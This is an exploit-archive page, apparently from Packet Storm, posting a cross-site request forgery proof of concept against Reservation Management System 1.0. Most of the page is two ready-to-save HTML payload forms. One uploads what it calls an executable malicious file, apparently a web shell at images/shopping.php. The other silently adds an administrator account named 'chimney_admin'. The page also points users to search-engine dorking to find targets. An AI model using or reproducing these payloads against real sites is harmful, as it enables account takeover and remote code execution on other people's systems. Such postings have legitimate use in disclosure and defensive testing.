exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Reservation Management System 1.0 Cross Site Request Forgery

Reservation Management System 1.0 Cross Site Request Forgery
Posted Sep 16, 2024
Authored by indoushka

Reservation Management System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 73bbdf5b6e54d04cadf49d3f40a3fe4f3376d78a867664173c89ced493a2283c

Reservation Management System 1.0 Cross Site Request Forgery

Change Mirror Download
=============================================================================================================================================
| # Title : Reservation Management System 1.0 CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/reservation.zip |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Line 8 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title">Add New Menu</h4>
</div>
<div class="modal-body">
<!--start form-->
<form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/menu_save.php" enctype="multipart/form-data">
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Menu Name</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="menu" id="title" placeholder="Menu Name" required="">
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Category</label>
<div class="col-lg-8">
<select class="form-control select2" id="exampleSelect1" name="cat" required="">
<option value="9">Dessert</option>
<option value="6">Main Course</option>
<option value="7">Pasta</option>
<option value="10">Rice</option>
</select>
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Subcategory</label>
<div class="col-lg-8">
<select class="form-control select2" id="exampleSelect1" name="subcat">
<option>Drinks</option>
<option>Lunch and Dinner</option>
<option>Mirienda</option>
<option>Non Combo Meal</option>
</select>
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Description</label>
<div class="col-lg-8">
<textarea class="form-control" name="desc" id="title" placeholder="Description" required=""></textarea>
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Price</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="price" id="title" placeholder="Price" required="">
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Image</label>
<div class="col-lg-8">
<input type="file" class="form-control" name="image" id="title">
</div>
</div>

<!-- Buttons -->
<div class="form-group">
<!-- Buttons -->
<div class="col-lg-offset-2 col-lg-6">
<button type="submit" class="btn btn-sm btn-primary">Save</button>
<button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>
</div>
</div>
</form>
<!--end form-->
</div>

</div>

[+] Ev!L : http://127.0.0.1/reservation/images/shopping.php

-----------[+] Part 02 Add Admin [+]-------------------

[+] Line 8 : Set your target url

[+] save payload as poc.html

[+] payload :

<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title">Add New User</h4>
</div>
<div class="modal-body">
<!--start form-->
<form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/user_save.php">
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="title">Full Name</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="name" id="title" placeholder="Write Full Name of User" required="">
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="username">Username</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="username" value="chimney_admin" placeholder="Write Username" required="">
</div>
</div>
<!-- Title -->
<div class="form-group">
<label class="control-label col-lg-2" for="password">Password</label>
<div class="col-lg-8">
<input type="password" class="form-control" name="password" id="password" placeholder="Write password" required="">
</div>
</div>

<!-- Buttons -->
<div class="form-group">
<!-- Buttons -->
<div class="col-lg-offset-2 col-lg-6">
<button type="submit" class="btn btn-sm btn-primary">Save</button>
<button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>
</div>
</div>
</form>
<!--end form-->
</div>

</div>
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close